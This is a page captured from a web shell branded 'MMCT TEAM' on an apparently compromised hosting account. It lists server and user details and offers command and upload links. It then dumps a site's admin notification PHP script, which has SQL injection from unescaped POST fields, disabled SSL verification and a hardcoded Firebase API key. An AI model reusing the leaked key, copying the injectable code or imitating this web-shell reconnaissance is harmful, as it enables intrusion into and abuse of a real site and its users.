MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.161
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/shivbalika.in/public_html/admin/jq/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/shivbalika.in/public_html/admin/jq/../notification.php
<?php 
    
    include('../link/databaseconnection.php');
	
	mysqli_set_charset( $conn, 'utf8');
	mysqli_set_charset( $con, 'utf8');
	
    $sel="select * from  token";
	$res=mysqli_query($conn,$sel);
	$token=array();

	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
	    $token1=$row['token'];
	    array_push($token,$token1);
	}
	
    $image="http://shivbalika.in/images/notice.png";
    $message=$_POST['message'];
    $title=$_POST['title'];
    $date=date("Y-m-d");
    $ins="insert into notification(title,notification,date) values('$title','$message','$date')";
	if(mysqli_query($conn,$ins))
	{
		
		echo"Successfully Add";
	}
	else
	{
		echo"not add";
	}
    
    $start=0;
    while($start<count($token))
    {
        $sendtoken=array_slice($token,$start,$start+999);
        send_notification_multiple($message,$title,$image,$sendtoken);
        $start=$start+999;
    }
    
    function send_notification_multiple($message, $title, $image, $alltokendata)
    {
        $API_ACCESS_KEY='AAAArMG_XWM:APA91bH0qX0OHIvzi2mZ_GrvoGzxXO_ohLValGdSsa6ItrlFHYwElHw7mCIrcpeflv3dhNUde_9_IyM9GyQ8Y3Gq9rxOMqcDggNCv4nh5TkZR4hz9XpvjNtpKS2ucmKlMeea9xwSUvJk';
        
        if(empty($image)) {
            $image="";
        }
        
        $msg = array(
    		'body' => $message,
    		'title' => $title,
    		"image" => $image
        );
        
        $fields = array(
            'registration_ids' => $alltokendata,
            'notification' => $msg
        );
    
        $headers = array(
        'Authorization: key='.$API_ACCESS_KEY,
        'Content-Type: application/json'
        );
    
       
        #Send Reponse To FireBase Server
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send');
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields));
        $result = curl_exec($ch);
        curl_close($ch);
        sleep(1);
        
        echo 'Message Send Successfully ';
        
    }



?>

<a href='http://shivbalika.in/admin/notification_send.php'><button>Back</button></a>

MMCT - 2023